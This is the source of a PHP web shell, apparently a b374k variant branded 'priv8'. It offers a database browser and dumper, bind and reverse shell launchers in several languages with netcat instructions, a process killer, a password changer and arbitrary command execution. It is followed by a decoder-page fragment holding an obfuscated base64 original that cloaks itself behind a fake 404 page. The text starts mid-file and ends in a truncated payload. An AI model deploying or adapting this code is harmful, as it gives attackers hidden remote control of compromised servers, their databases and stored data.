$s_sqlcode = isset($_GP['sqlcode'])? $_GP['sqlcode'] : "";
if($s_con!==false){
if(isset($_GP['sqlinit'])){
$s_sql_cookie = (function_exists("json_encode") && function_exists("json_decode"))? json_encode($s_sql):serialize($s_sql);
$s_c_num = substr(md5(time().rand(0,100)),0,3);
while(isset($_COOKIE['c']) && is_array($_COOKIE['c']) && array_key_exists($s_c_num, $_COOKIE['c'])){
$s_c_num = substr(md5(time().rand(0,100)),0,3);
}
setcookie("c[".$s_c_num."]", $s_sql_cookie ,time() + $s_login_time);
}
$s_show_form = false;
$s_result .= "<form action='".$s_self."' method='post'>
<input type='hidden' name='sqlhost' value='".hss($s_sql['host'])."' />
<input type='hidden' name='sqlport' value='".hss($s_sql['port'])."' />
<input type='hidden' name='sqluser' value='".hss($s_sql['user'])."' />
<input type='hidden' name='sqlpass' value='".hss($s_sql['pass'])."' />
<input type='hidden' name='sqltype' value='".hss($s_sql['type'])."' />
<input type='hidden' name='x' value='db' />
<input type='hidden' name='connect' value='connect' />
<textarea id='sqlcode' name='sqlcode' class='txtarea' style='height:150px;'>".hss($s_sqlcode)."</textarea>
<p><input type='submit' name='gogo' class='inputzbut' value='Go !' style='width:120px;height:30px;' />
Separate multiple commands with a semicolon <span class='gaya'>[</span> ; <span class='gaya'>]</span></p>
</form>";
if(!empty($s_sqlcode)){
$s_querys = explode(";",$s_sqlcode);
foreach($s_querys as $s_query){
if(trim($s_query) != ""){
$s_hasil = sql_query($s_sql['type'],$s_query,$s_con);
if($s_hasil!=false){
$s_result .= "<hr /><p style='padding:0;margin:6px 10px;font-weight:bold;'>".hss($s_query).";
<span class='gaya'>[</span> ok <span class='gaya'>]</span></p>";
if(!is_bool($s_hasil)){
$s_result .= "<table class='explore sortable' style='width:100%;'><tr>";
for($s_i = 0; $s_i<sql_num_fields($s_sql['type'],$s_hasil); $s_i++)
$s_result .= "<th>".@hss(sql_field_name($s_sql['type'],$s_hasil,$s_i))."</th>";
$s_result .= "</tr>";
while($s_rows=sql_fetch_data($s_sql['type'],$s_hasil)){
$s_result .= "<tr>";
foreach($s_rows as $s_r){
if(empty($s_r)) $s_r = " ";
$s_result .= "<td>".@hss($s_r)."</td>";
}
$s_result .= "</tr>";
}
$s_result .= "</table>";
}
}
else{
$s_result .= "<p style='padding:0;margin:6px 10px;font-weight:bold;'>".hss($s_query)."; <span class='gaya'>[</span> error <span class='gaya'>]</span></p>";
}
}
}
}
else{
if(($s_sql['type']!='pdo') && ($s_sql['type']!='odbc')){
if($s_sql['type']=='mysql') $s_showdb = "SHOW DATABASES";
elseif($s_sql['type']=='mssql') $s_showdb = "SELECT name FROM master..sysdatabases";
elseif($s_sql['type']=='pgsql') $s_showdb = "SELECT schema_name FROM information_schema.schemata";
elseif($s_sql['type']=='oracle') $s_showdb = "SELECT USERNAME FROM SYS.ALL_USERS ORDER BY USERNAME";
elseif($s_sql['type']=='sqlite3' || $s_sql['type']=='sqlite') $s_showdb = "SELECT \"".$s_sql['host']."\"";
else $s_showdb = "SHOW DATABASES";
$s_hasil = sql_query($s_sql['type'],$s_showdb,$s_con);
if($s_hasil!=false) {
while($s_rows_arr=sql_fetch_data($s_sql['type'],$s_hasil)){
foreach($s_rows_arr as $s_rows){
$s_result .= "<p class='notif' onclick=\"toggle('db_".$s_rows."')\">".$s_rows."</p>";
$s_result .= "<div class='info' id='db_".$s_rows."'><table class='explore'>";
if($s_sql['type']=='mysql') $s_showtbl = "SHOW TABLES FROM ".$s_rows;
elseif($s_sql['type']=='mssql') $s_showtbl = "SELECT name FROM ".$s_rows."..sysobjects WHERE xtype = 'U'";
elseif($s_sql['type']=='pgsql') $s_showtbl = "SELECT table_name FROM information_schema.tables WHERE table_schema='".$s_rows."'";
elseif($s_sql['type']=='oracle') $s_showtbl = "SELECT TABLE_NAME FROM SYS.ALL_TABLES WHERE OWNER='".$s_rows."'";
elseif($s_sql['type']=='sqlite3' || $s_sql['type']=='sqlite') $s_showtbl = "SELECT name FROM sqlite_master WHERE type='table'";
else $s_showtbl = "";
$s_hasil_t = sql_query($s_sql['type'],$s_showtbl,$s_con);
if($s_hasil_t!=false) {
while($s_tables_arr=sql_fetch_data($s_sql['type'],$s_hasil_t)){
foreach($s_tables_arr as $s_tables){
if($s_sql['type']=='mysql') $s_dump_tbl = "SELECT * FROM ".$s_rows.".".$s_tables." LIMIT 0,100";
elseif($s_sql['type']=='mssql') $s_dump_tbl = "SELECT TOP 100 * FROM ".$s_rows."..".$s_tables;
elseif($s_sql['type']=='pgsql') $s_dump_tbl = "SELECT * FROM ".$s_rows.".".$s_tables." LIMIT 100 OFFSET 0";
elseif($s_sql['type']=='oracle') $s_dump_tbl = "SELECT * FROM ".$s_rows.".".$s_tables." WHERE ROWNUM BETWEEN 0 AND 100;";
elseif($s_sql['type']=='sqlite' || $s_sql['type']=='sqlite3') $s_dump_tbl = "SELECT * FROM ".$s_tables." LIMIT 0,100";
else $s_dump_tbl = "";
$s_dump_tbl_link = $s_self."x=db&connect=&sqlhost=".pl($s_sql['host'])."&sqlport=".pl($s_sql['port'])."&sqluser=".pl($s_sql['user'])."&sqlpass=".pl($s_sql['pass'])."&sqltype=".pl($s_sql['type'])."&sqlcode=".pl($s_dump_tbl);
$s_result .= "<tr><td ondblclick=\"return go('".adds($s_dump_tbl_link)."',event);\"><a href='".$s_dump_tbl_link."'>".$s_tables."</a></td></tr>";
}
}
}
$s_result .= "</table></div>";
}
}
}
}
}
sql_close($s_sql['type'],$s_con);
}
else{
$s_result .= notif("Unable to connect to database");
$s_show_form = true;
}
}
if($s_show_form){
// sqltype : mysql, mssql, oracle, pgsql, sqlite, sqlite3, odbc, pdo
$s_sqllist = array();
if(function_exists("mysql_connect")) $s_sqllist["mysql"] = "Connect to MySQL <span class='desc' style='font-size:12px;'>- using class mysqli or mysql_*</span>";
if(function_exists("mssql_connect") || function_exists("sqlsrv_connect")) $s_sqllist["mssql"] = "Connect to MsSQL <span class='desc' style='font-size:12px;'>- using sqlsrv_* or mssql_*</span>";
if(function_exists("pg_connect")) $s_sqllist["pgsql"] = "Connect to PostgreSQL <span class='desc' style='font-size:12px;'>- using pg_*</span>";
if(function_exists("oci_connect")) $s_sqllist["oracle"] = "Connect to oracle <span class='desc' style='font-size:12px;'>- using oci_*</span>";
if(function_exists("sqlite_open")) $s_sqllist["sqlite"] = "Connect to SQLite <span class='desc' style='font-size:12px;'>- using sqlite_*</span>";
if(class_exists("SQLite3")) $s_sqllist["sqlite3"] = "Connect to SQLite3 <span class='desc' style='font-size:12px;'>- using class SQLite3</span>";
if(function_exists("odbc_connect")) $s_sqllist["odbc"] = "Connect via ODBC <span class='desc' style='font-size:12px;'>- using odbc_*</span>";
if(class_exists("PDO")) $s_sqllist["pdo"] = "Connect via PDO <span class='desc' style='font-size:12px;'>- using class PDO</span>";
foreach($s_sqllist as $s_sql['type']=>$s_sqltitle){
if($s_sql['type']=="odbc" || $s_sql['type']=="pdo"){
$s_result .= "<div class='mybox'><h2>".$s_sqltitle."</h2>
<form action='".$s_self."' method='post' />
<table class='myboxtbl'>
<tr><td style='width:170px;'>DSN / Connection String</td><td><input style='width:100%;' class='inputz' type='text' name='sqlhost' value='' /></td></tr>
<tr><td>Username</td><td><input style='width:100%;' class='inputz' type='text' name='sqluser' value='' /></td></tr>
<tr><td>Password</td><td><input style='width:100%;' class='inputz' type='password' name='sqlpass' value='' /></td></tr>
</table>
<input type='submit' name='connect' class='inputzbut' value='Connect !' style='width:120px;height:30px;margin:10px 2px 0 2px;' />
<input type='hidden' name='sqltype' value='".$s_sql['type']."' />
<input type='hidden' name='sqlinit' value='init' />
<input type='hidden' name='x' value='db' />
</form>
</div>";
}
elseif($s_sql['type']=="sqlite" || $s_sql['type']=="sqlite3"){
$s_result .= "<div class='mybox'><h2>".$s_sqltitle."</h2>
<form action='".$s_self."' method='post' />
<table class='myboxtbl'>
<tr><td style='width:170px;'>DB File</td><td><input style='width:100%;' class='inputz' type='text' name='sqlhost' value='' /></td></tr>
</table>
<input type='submit' name='connect' class='inputzbut' value='Connect !' style='width:120px;height:30px;margin:10px 2px 0 2px;' />
<input type='hidden' name='sqltype' value='".$s_sql['type']."' />
<input type='hidden' name='sqlinit' value='init' />
<input type='hidden' name='x' value='db' />
</form>
</div>";
}
else{
$s_result .= "<div class='mybox'><h2>".$s_sqltitle."</h2>
<form action='".$s_self."' method='post' />
<table class='myboxtbl'>
<tr><td style='width:170px;'>Host</td><td><input style='width:100%;' class='inputz' type='text' name='sqlhost' value='' /></td></tr>
<tr><td>Username</td><td><input style='width:100%;' class='inputz' type='text' name='sqluser' value='' /></td></tr>
<tr><td>Password</td><td><input style='width:100%;' class='inputz' type='password' name='sqlpass' value='' /></td></tr>
<tr><td>Port (optional)</td><td><input style='width:100%;' class='inputz' type='text' name='sqlport' value='' /></td></tr>
</table>
<input type='submit' name='connect' class='inputzbut' value='Connect !' style='width:120px;height:30px;margin:10px 2px 0 2px;' />
<input type='hidden' name='sqltype' value='".$s_sql['type']."' />
<input type='hidden' name='sqlinit' value='init' />
<input type='hidden' name='x' value='db' />
</form>
</div>";
}
}
}
} // bind and reverse shell
elseif(isset($_GP['x']) && ($_GP['x']=='rs')){
// resources $s_rs_pl $s_rs_py $s_rs_rb $s_rs_js $s_rs_c $s_rs_java $s_rs_java $s_rs_win $s_rs_php
$s_rshost = $s_server_ip;
$s_rsport = "13123"; // default port
$s_rspesana = "Press ' Go ! ' button and run ' nc <i>server_ip</i> <i>port</i> ' on your computer";
$s_rspesanb = "Run ' nc -l -v -p <i>port</i> ' on your computer and press ' Go ! ' button";
$s_rs_err = "";
$s_rsbind = $s_rsback = array();
$s_rsbind["bind_php"] = "Bind Shell <span class='desc' style='font-size:12px;'>- php</span>";
$s_rsback["back_php"] = "Reverse Shell <span class='desc' style='font-size:12px;'>- php</span>";
$s_access = array("s_python"=>"py", "s_perl"=>"pl", "s_ruby"=>"rb", "s_node"=>"js", "s_nodejs"=>"js", "s_gcc"=>"c", "s_javac"=>"java");
foreach($s_access as $k=>$v){
if(isset($$k)){
$s_t = explode("_", $k);
$s_rsbind["bind_".$v] = "Bind Shell <span class='desc' style='font-size:12px;'>- ".$s_t[1]."</span>";
$s_rsback["back_".$v] = "Reverse Shell <span class='desc' style='font-size:12px;'>- ".$s_t[1]."</span>";
}
}
if($s_win){
$s_rsbind["bind_win"] = "Bind Shell <span class='desc' style='font-size:12px;'>- windows executable</span>";
$s_rsback["back_win"] = "Reverse Shell <span class='desc' style='font-size:12px;'>- windows executable</span>";
}
$s_rslist = array_merge($s_rsbind,$s_rsback);
if(!@is_writable($s_cwd)) $s_result .= notif("Directory ".$s_cwd." is not writable, please change to a writable one");
foreach($s_rslist as $s_rstype=>$s_rstitle){
$s_split = explode("_",$s_rstype);
if($s_split[0]=="bind"){
$s_rspesan = $s_rspesana;
$s_rsdisabled = "disabled='disabled'";
$s_rstarget = $s_server_ip;
$s_labelip = "Server IP";
}
elseif($s_split[0]=="back"){
$s_rspesan = $s_rspesanb;
$s_rsdisabled = "";
$s_rstarget = $s_my_ip;
$s_labelip = "Target IP";
}
if(isset($_GP[$s_rstype])){
if(isset($_GP["rshost_".$s_rstype])) $s_rshost_ = $_GP["rshost_".$s_rstype];
if(isset($_GP["rsport_".$s_rstype])) $s_rsport_ = $_GP["rsport_".$s_rstype];
if($s_split[0]=="bind") $s_rstarget_packed = $s_rsport_;
elseif($s_split[0]=="back") $s_rstarget_packed = $s_rsport_." ".$s_rshost_;
if($s_split[1]=="pl") $s_rscode = $s_rs_pl;
elseif($s_split[1]=="py") $s_rscode = $s_rs_py;
elseif($s_split[1]=="rb") $s_rscode = $s_rs_rb;
elseif($s_split[1]=="js") $s_rscode = $s_rs_js;
elseif($s_split[1]=="c") $s_rscode = $s_rs_c;
elseif($s_split[1]=="java") $s_rscode = $s_rs_java;
elseif($s_split[1]=="win") $s_rscode = $s_rs_win;
elseif($s_split[1]=="php") $s_rscode = $s_rs_php;
$s_buff = rs($s_rstype,$s_rstarget_packed,$s_rscode);
if($s_buff!="") $s_rs_err = notif(hss($s_buff));
}
$s_result .= "<div class='mybox'><h2>".$s_rstitle."</h2>
<form action='".$s_self."' method='post' />
<table class='myboxtbl'>
<tr><td style='width:100px;'>".$s_labelip."</td><td><input ".$s_rsdisabled." style='width:100%;' class='inputz' type='text' name='rshost_".$s_rstype."' value='".hss($s_rstarget)."' /></td></tr>
<tr><td>Port</td><td><input style='width:100%;' class='inputz' type='text' name='rsport_".$s_rstype."' value='".hss($s_rsport)."' /></td></tr>
</table>
<input type='submit' name='".$s_rstype."' class='inputzbut' value='Go !' style='width:120px;height:30px;margin:10px 2px 0 2px;' />
<span>".$s_rspesan."</span>
<input type='hidden' name='x' value='rs' />
</form>
</div>";
}
$s_result = $s_rs_err.$s_result;
} // task manager
elseif(isset($_GP['x']) && ($_GP['x']=='ps')){
$s_buff = "";
// kill process specified by pid
if(isset($_GP['pid'])){
$s_p = trim($_GP['pid'],"|");
$s_parr = explode("|", $s_p);
foreach($s_parr as $s_p){
if(function_exists("posix_kill")) $s_buff .= (posix_kill($s_p,'9'))? notif("Process with pid ".$s_p." has been successfully killed"):notif("Unable to kill process with pid ".$s_p);
else{
if(!$s_win) $s_buff .= notif(exe("kill -9 ".$s_p));
else $s_buff .= notif(exe("taskkill /F /PID ".$s_p));
}
}
}
if(!$s_win) $s_h = "ps aux"; // nix
else $s_h = "tasklist /V /FO csv"; // win
$s_wcount = 11;
$s_wexplode = " ";
if($s_win) $s_wexplode = "\",\"";
$s_res = exe($s_h);
if(trim($s_res)=='') $s_result = notif("Error getting process list");
else{
if($s_buff!="") $s_result = $s_buff;
$s_result .= "<table class='explore sortable'>";
if(!$s_win) $s_res = preg_replace('#\ +#',' ',$s_res);
$s_psarr = explode("
",$s_res);
$s_fi = true;
$s_tblcount = 0;
$s_check = explode($s_wexplode,$s_psarr[0]);
$s_wcount = count($s_check);
foreach($s_psarr as $s_psa){
if(trim($s_psa)!=''){
if($s_fi){
$s_fi = false;
$s_psln = explode($s_wexplode, $s_psa, $s_wcount);
$s_result .= "<tr><th style='width:24px;' class='sorttable_nosort'></th><th class='sorttable_nosort'>action</th>";
foreach($s_psln as $s_p) $s_result .= "<th>".trim(trim(strtolower($s_p)) ,"\"")."</th>";
$s_result .= "</tr>";
}
else{
$s_psln = explode($s_wexplode, $s_psa, $s_wcount);
$s_result .= "<tr>";
$s_tblcount = 0;
foreach($s_psln as $s_p){
$s_pid = trim(trim($s_psln[1]),"\"");
$s_piduniq = substr(md5($s_pid),0,8);
if(trim($s_p)=="") $s_p = " ";
if($s_tblcount == 0){
$s_result .= "<td style='text-align:center;text-indent:4px;'><input id='".$s_piduniq."' name='cbox' value='".$s_pid."' type='checkbox' class='css-checkbox' onchange='hilite(this);' /><label for='".$s_piduniq."' class='css-label'></label></td><td class='ce'><a href='".$s_self."x=ps&pid=".$s_pid."'>kill</a></td><td class='ce'>".trim(trim($s_p) ,"\"")."</td>";
$s_tblcount++;
}
else{
$s_tblcount++;
if($s_tblcount == count($s_psln)) $s_result .= "<td class='le'>".trim(trim($s_p) ,"\"")."</td>";
else $s_result .= "<td class='ce'>".trim(trim($s_p) ,"\"")."</td>";
}
}
$s_result .= "</tr>";
}
}
}
$colspan = count($s_psln)+1;
$s_result .= "<tfoot><tr class='cbox_selected'><td class='cbox_all'>
<form action='".$s_self."' method='post'><input id='checkalll' type='checkbox' name='abox' class='css-checkbox' onclick='checkall();' /><label for='checkalll' class='css-label'></label></form>
</td><td style='text-indent:10px;padding:2px;' colspan=".$colspan."><a href='javascript: pkill();'>kill selected <span id='total_selected'></span></a></td>
</tr></tfoot></table>";
}
}
elseif(isset($_GP['x']) && ($_GP['x']=='pass')){
if(isset($_GP['submitnewpass'])){
$newpass = isset($_GP['newpass'])? trim($_GP['newpass']):"";
$newpassx = isset($_GP['newpassx'])? trim($_GP['newpassx']):"";
if(empty($newpass) || empty($newpassx)){
$s_result .= notif('Give your new password to both fields');
}
elseif($newpass != $newpassx){
$s_result .= notif('Password does not match');
}
else{
if(changepass($newpass)){
$s_result .= notif("Password changed");
}
else $s_result .= notif("Unable to change password");
}
}
$s_result .= "<div class='mybox'><h2>Change shell password</h2>
<form action='".$s_self."' method='post' />
<table class='myboxtbl'>
<tr><td style='width:120px;'>New password</td><td><input style='width:100%;' class='inputz' type='password' name='newpass' value='' /></td></tr>
<tr><td style='width:120px;'>Confirm password</td><td><input style='width:100%;' class='inputz' type='password' name='newpassx' value='' /></td></tr>
</table>
<input type='submit' name='submitnewpass' class='inputzbut' value='Go !' style='width:120px;height:30px;margin:10px 2px 0 2px;' />
<input type='hidden' name='x' value='pass' />
</form>
</div>";
}
else{
if(!isset($s_cwd)) $s_cwd = "";
if(isset($_GP['cmd'])){
$s_cmd = $_GP['cmd'];
if(strlen($s_cmd) > 0){
if(preg_match('#^cd(\ )+(.*)#',$s_cmd,$s_r)){
$s_nd = trim($s_r[2]);
if(@is_dir($s_nd)){
chdir($s_nd);
$s_cwd = cp(getcwd());
setcookie("cwd", $s_cwd ,time() + $s_login_time);
$s_result .= showdir($s_cwd);
}
elseif(@is_dir($s_cwd.$s_nd)){
chdir($s_cwd.$s_nd);
$s_cwd = cp(getcwd());
setcookie("cwd", $s_cwd ,time() + $s_login_time);
$s_result .= showdir($s_cwd);
}
else $s_result .= notif(hss($s_nd)." is not a directory");
}
else{
$s_r = hss(exe($s_cmd));
if($s_r != '') $s_result .= "<pre>".$s_r."</pre>";
else $s_result .= showdir($s_cwd);
}
}
else $s_result .= showdir($s_cwd);
}
else $s_result .= showdir($s_cwd);
}
// find drive letters
$s_letters = '';
$s_v = explode("\",$s_cwd);
$s_v = $s_v[0];
foreach (range("A", "Z") as $s_letter){
if(@is_readable($s_letter.":\")){
$s_letters .= "<a href='".$s_self."cd=".$s_letter.":\'>[ ";
if($s_letter.":" != $s_v) $s_letters .= $s_letter;
else{$s_letters .= "<span class='drive-letter'>".$s_letter."</span>";}
$s_letters .= " ]</a> ";
}
}
// print useful info
$s_info = "<table class='headtbl'><tr><td>".$s_system."</td></tr>";
$s_info .= "<tr><td>".$s_software."</td></tr>";
$s_info .= "<tr><td>server ip : ".$s_server_ip."<span class='gaya'> | </span>your ip : ".$s_my_ip;
$s_info .= "<span class='gaya'> | </span> Time @ Server : ".@date("d M Y H:i:s",time());
$s_info .= "</td></tr>
<tr><td style='text-align:left;'>
<table class='headtbls'><tr>
<td>".trim($s_letters)."</td>
<td>
<span id='chpwd'>
<a href=\"javascript:tukar_('chpwd','chpwdform')\">
<span class='icon'>o</span>
</a>".swd($s_cwd)."</span>
<form action='".$s_self."' method='post' style='margin:0;padding:0;'>
<span class='sembunyi' id='chpwdform'>
<a href=\"javascript:tukar_('chpwdform','chpwd');\">
<span class='icon'>o</span>
</a>
<input type='text' name='view' class='inputz' style='width:300px;' value='".hss($s_cwd)."' />
<input class='inputzbut' type='submit' name='submit' value='view file / folder' />
</span>
</form>
</td></tr>
</table>
</td></tr>
</table>";
}
$s_error = @ob_get_contents();
$s_result = isset($s_result)? $s_result:"";
if(!empty($s_error)) $s_result = notif($s_error).$s_result;
@ob_end_clean();
@ob_start();
?><!DOCTYPE html>
<html>
<head>
<title><?php echo $s_title; ?></title>
<meta charset="utf-8">
<meta name='robots' content='noindex, nofollow, noarchive'>
<link rel='SHORTCUT ICON' href='<?php echo $s_favicon; ?>'>
<?php echo get_code("css", $s_css); ?>
</head>
<body>
<table id='main'><tr><td>
<?php if($s_auth){?>
<div><span style='float:right;'><?php
if(!isset($_COOKIE['b374k_included'])){
?><a href='?x=pass'>password</a> |
<?php }
?><a href='<?php echo $s_self; ?>x=logout' title='Click me to log out'>log out</a> <a href='<?php echo $s_self; ?>x=switch' title='Click me to change theme'><span class='schemabox'> </span></a></span><table id='header'><tr><td style='width:80px;'><table><tr><td><h1><a href='<?php echo $s_self."cd=".cp(dirname(realpath($_SERVER['SCRIPT_FILENAME']))); ?>'>priv8</a></h1></td></tr><tr><td style='text-align:right;'><div class='ver'>0.1</div></td></tr></table></td> <td><div class='headinfo'><?php echo $s_info; ?></div></td></tr></table></div>
<div style='clear:both;'></div>
<form method='post' name='g'></form>
<div id='menu'>
<table style='width:100%;'><tr>
<td><a href='<?php echo $s_self; ?>' title='Explorer'><div class='menumi'>xpl</div></a></td>
<td><a href='<?php echo $s_self; ?>x=ps' title='Display process status'><div class='menumi'>ps</div></a></td>
<td><a href='<?php echo $s_self; ?>x=eval' title='Execute code'><div class='menumi'>eval</div></a></td>
<td><a href='<?php echo $s_self; ?>x=info' title='Information about server'><div class='menumi'>info</div></a></td>
<td><a href='<?php echo $s_self; ?>x=db' title='Connect to database'><div class='menumi'>db</div></a></td>
<td><a href='<?php echo $s_self; ?>x=rs' title='Remote Shell'><div class='menumi'>rs</div></a></td>
<td style='width:100%;padding:0 0 0 6px;'>
<span class='prompt'><?php echo $s_prompt; ?></span><form action='<?php echo $s_self; ?>' method='post'>
<input id='cmd' onclick="clickcmd();" class='inputz' type='text' name='cmd' style='width:70%;' value='<?php
if(isset($_GP['cmd'])) echo "";
else echo "- shell command -";
?>' />
<noscript><input class='inputzbut' type='submit' value='Go !' name='submitcmd' style='width:80px;' /></noscript>
</form>
</td>
</tr></table>
</div>
<div id='content'>
<div id='result'><?php echo "__RESULT__"; ?></div>
</div>
<div id='navigation'>
<div id='totop' onclick='totopd();' onmouseover='totop();' onmouseout='stopscroll();'></div>
<div id='tobottom' onclick='tobottomd();' onmouseover='tobottom();' onmouseout='stopscroll();'></div>
</div>
<?php } else{ ?>
<div style='width:100%;text-align:center;'>
<form action='<?php echo $s_self; ?>' method='post'>
<img src='<?php echo $s_favicon; ?>' style='margin:2px;vertical-align:middle;' />
b374k <span class='gaya'><?php echo $s_ver; ?></span><input id='login' class='inputz' type='password' name='login' style='width:120px;' value='' />
<input class='inputzbut' type='submit' value='Go !' name='submitlogin' style='width:80px;' />
</form>
</div>
<?php }?> </td></tr></table>
<p class='footer'>h4cker.tr ©<?php echo @date("Y",time())." "; ?>priv8</p>
<script type='text/javascript'>
var d = document;
var scroll = false;
var cwd = '<?php echo hss(adds($s_cwd)); ?>';
var hexstatus = false;
var timer = '';
var x = '<?php if(isset($_GP['x']) && ($_GP['x']=='ps')) echo "ps"; ?>';
var sself = '<?php echo adds($s_self); ?>';
var hexcounter = 0;
var hextimer = '';
var counter = 0;
</script>
<?php echo get_code("js", $s_js); ?>
<script type='text/javascript'>
domready(function(){
<?php if(isset($_GP['cmd'])) echo "if(d.getElementById('cmd')) d.getElementById('cmd').focus();"; ?>
<?php if(isset($_GP['evalcode'])) echo "if(d.getElementById('evalcode')) d.getElementById('evalcode').focus();"; ?>
<?php if(isset($_GP['sqlcode'])) echo "if(d.getElementById('sqlcode')) d.getElementById('sqlcode').focus();"; ?>
<?php if(isset($_GP['login'])) echo "if(d.getElementById('login')) d.getElementById('login').focus();"; ?>
<?php if(isset($_GP['hexedit'])) echo "showhex();"; ?>
if(d.getElementById('cmd')) d.getElementById('cmd').setAttribute('autocomplete', 'off');
var textareas = d.getElementsByTagName('textarea');
var count = textareas.length;
for(i = 0; i<count; i++){
textareas[i].onkeydown = function(e){
if(e.keyCode==9){
e.preventDefault();
var s = this.selectionStart;
this.value = this.value.substring(0,this.selectionStart) + " " + this.value.substring(this.selectionEnd);
this.selectionEnd = s+1;
}
else if(e.ctrlKey && (e.keyCode == 10 || e.keyCode == 13)){
this.form.submit();
}
}
}
listen();
});
</script>
</body>
</html><?php
$s_html = ob_get_contents();
ob_end_clean();
$whitespace = "/(\s{2,}|
{1,})/";
$s_html = preg_replace($whitespace, " ", $s_html);
$s_html = str_replace("__RESULT__", $s_result, $s_html);
echo $s_html;
die();
?>
Did this file decode correctly?
Original Code
<?php error_reporting(0); $_F=__FILE__;$_X='Pz48P3BocA0KQHM1c3M0Mm5fc3QxcnQoKTsNCiRtM2NrX2wyZ180biA9IEAkX1NFU1NJT05bJ20zY2stbDJnLTRuJ107DQo0ZiAoISRtM2NrX2wyZ180bikgew0KICAgIDRmIChzdHI0cDJzKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSwgJ00yejRsbDEvdS4wIChjMm1wMXQ0Ymw1OyBNU0lFIDcuMDsgVzRuZDJ3cyBOVCBlLjApJykgIT09IEZBTFNFKSB7DQogICAgICAgICRfU0VTU0lPTlsnbTNjay1sMmctNG4nXSA9IFRSVUU7DQogICAgICAgIDVjaDIgJzxzY3I0cHQ+bDJjMXQ0Mm4gPSAiJyAuICAkX1NFUlZFUlsnUEhQX1NFTEYnXSAuICciOzwvc2NyNHB0Pic7DQogICAgICAgIDV4NHQ7DQogICAgfSA1bHM1IHsNCiAgICAgICAgNWNoMiAnPCFET0NUWVBFIGh0bWw+PGh0bWwgc3R5bDU9Img1NGdodDo2MDAlIj48aDUxZD48dDR0bDU+IHUwdSBOMnQgRjIzbmQ8L3Q0dGw1PjwvaDUxZD48YjJkeSBzdHlsNT0iYzJsMnI6ICN1dXU7IG0xcmc0bjowO2YybnQ6IG4ycm0xbCA2dXB4L2EwcHggQXI0MWwsIEg1bHY1dDRjMSwgczFucy1zNXI0ZjsgaDU0Z2h0OjYwMCU7IGIxY2tncjIzbmQtYzJsMnI6ICNmZmY7Ij48ZDR2IHN0eWw1PSJoNTRnaHQ6MTN0MjsgbTRuLWg1NGdodDo2MDAlOyAiPiAgICAgPGQ0diBzdHlsNT0idDV4dC0xbDRnbjogYzVudDVyOyB3NGR0aDo4MDBweDsgbTFyZzRuLWw1ZnQ6IC11MDBweDsgcDJzNHQ0Mm46MWJzMmwzdDU7IHQycDogbzAlOyBsNWZ0OmkwJTsiPjxoNiBzdHlsNT0ibTFyZzRuOjA7IGYybnQtczR6NTo2aTBweDsgbDRuNS1oNTRnaHQ6NmkwcHg7IGYybnQtdzU0Z2h0OmIybGQ7Ij51MHU8L2g2PjxoYSBzdHlsNT0ibTFyZzRuLXQycDphMHB4O2YybnQtczR6NTogbzBweDsiPk4ydCBGMjNuZDwvaGE+PHA+VGg1IHI1czIzcmM1IHI1cTM1c3Q1ZCBjMjNsZCBuMnQgYjUgZjIzbmQgMm4gdGg0cyBzNXJ2NXIhPC9wPjwvZDR2PjwvZDR2PjxkNHYgc3R5bDU9ImMybDJyOiNmMGYwZjA7IGYybnQtczR6NTo2YXB4O20xcmc0bjoxM3QyO3AxZGQ0bmc6MHB4IG8wcHggMHB4IG8wcHg7cDJzNHQ0Mm46cjVsMXQ0djU7Y2w1MXI6YjJ0aDtoNTRnaHQ6NjAwcHg7bTFyZzRuLXQycDotNjA2cHg7YjFja2dyMjNuZC1jMmwycjojdTd1N3U3O2IycmQ1ci10MnA6IDZweCBzMmw0ZCByZ2IxKDAsMCwwLDAuNmkpO2IyeC1zaDFkMnc6IDAgNnB4IDAgcmdiMShhaWksIGFpaSwgYWlpLCAwLm8pIDRuczV0OyI+PGJyPlByMjNkbHkgcDJ3NXI1ZCBieSAgPDEgc3R5bDU9ImMybDJyOiNmZmY7IiBocjVmPSJodHRwOi8vd3d3Lmw0dDVzcDU1ZHQ1Y2guYzJtLzVycjJyLXAxZzUiPkw0dDVTcDU1ZCBXNWIgUzVydjVyPC8xPjxwPlBsNTFzNSBiNSAxZHY0czVkIHRoMXQgTDR0NVNwNTVkIFQ1Y2huMmwyZzQ1cyBJbmMuIDRzIG4ydCAxIHc1YiBoMnN0NG5nIGMybXAxbnkgMW5kLCAxcyBzM2NoLCBoMXMgbjIgYzJudHIybCAydjVyIGMybnQ1bnQgZjIzbmQgMm4gdGg0cyBzNHQ1LjwvcD48L2Q0dj48L2IyZHk+PC9odG1sPic7DQogICAgICAgIDV4NHQ7DQogICAgfQ0KfQ0KDQokc19wMXNzID0gImJvZjBiYWNlNzVlaTkxNnVkOTg5Y2M3ZG9mYjAxY282OGZhYmQ5dTYiOyAvLyBkNWYxM2x0IHAxc3N3MnJkIDogYm83dWsgKGwyZzRuIDFuZCBjaDFuZzUgdDIgbjV3IHAxc3N3MnJkKQ0KDQokc192NXIgPSAiMC42IjsgLy8gc2g1bGwgdjVyDQokc190NHRsNSA9ICJwcjR2OCI7IC8vIHNoNWxsIHQ0dGw1DQokc19sMmc0bl90NG01ID0gb2UwMCAqIGF1ICogNzsgLy8gYzIyazQ1IHQ0bTUgKGwyZzRuKQ0KJHNfZDViM2cgPSBmMWxzNTsgLy8gZDViM2dnNG5nIG0yZDUNCg0KQDJiX3N0MXJ0KCk7DQpAczV0X3Q0bTVfbDRtNHQoMCk7DQpANG40X3M1dCgnaHRtbF81cnIycnMnLCcwJyk7DQpAY2w1MXJzdDF0YzFjaDUoKTsNCmQ1ZjRuNSgnRFMnLCBESVJFQ1RPUllfU0VQQVJBVE9SKTsNCg0KLy8gY2w1MW4gbTFnNGMgcTMydDVzDQokX1BPU1QgPSBjbDUxbigkX1BPU1QpOw0KJF9HRVQgPSBjbDUxbigkX0dFVCk7DQokX0NPT0tJRSA9IGNsNTFuKCRfQ09PS0lFKTsNCiRfR1AgPSAxcnIxeV9tNXJnNSgkX1BPU1QsICRfR0VUKTsNCiRfR1AgPSAxcnIxeV9tMXAoInIzIiwgJF9HUCk7DQoNCg0KNGYoJHNfZDViM2cpew0KICAgIDVycjJyX3I1cDJydDRuZyhFX0VSUk9SIHwgRV9XQVJOSU5HIHwgRV9QQVJTRSB8IEVfTk9USUNFKTsNCiAgICBANG40X3M1dCgnZDRzcGwxeV81cnIycnMnLCc2Jyk7DQogICAgQDRuNF9zNXQoJ2wyZ181cnIycnMnLCc2Jyk7DQogICAgZjJyNTFjaCgkX0dQIDFzICRrPT4kdil7DQogICAgICAgIDRmKDRzX